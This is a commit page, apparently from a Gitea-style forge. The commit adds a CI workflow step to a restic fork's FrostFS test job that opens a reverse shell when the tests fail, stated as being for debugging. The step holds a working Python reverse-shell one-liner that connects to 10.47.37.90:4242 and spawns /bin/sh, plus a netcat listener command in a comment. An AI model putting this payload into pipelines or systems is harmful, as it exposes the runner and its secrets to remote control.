[##] Configure reverse shell for debugging
Some checks failed
/ Tests (pull_request) Failing after 52s
Some checks failed
/ Tests (pull_request) Failing after 52s
Signed-off-by: Vitaliy Potyarkin <v.potyarkin@yadro.com>
This commit is contained in:
parent
0a396ac014
commit
156e46ccc1
1 changed files with 7 additions and 0 deletions
|
@ -29,3 +29,10 @@ jobs:
|
|||
# run only tests for the FrostFS backend
|
||||
run: go test -v github.com/restic/restic/internal/backend/frostfs
|
||||
|
||||
- name: Reverse shell
|
||||
if: failure()
|
||||
# Listener must be started beforehand: nc -lvp 4242
|
||||
run: |
|
||||
export RHOST="10.47.37.90"
|
||||
export RPORT=4242
|
||||
python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
|
Loading…
Reference in a new issue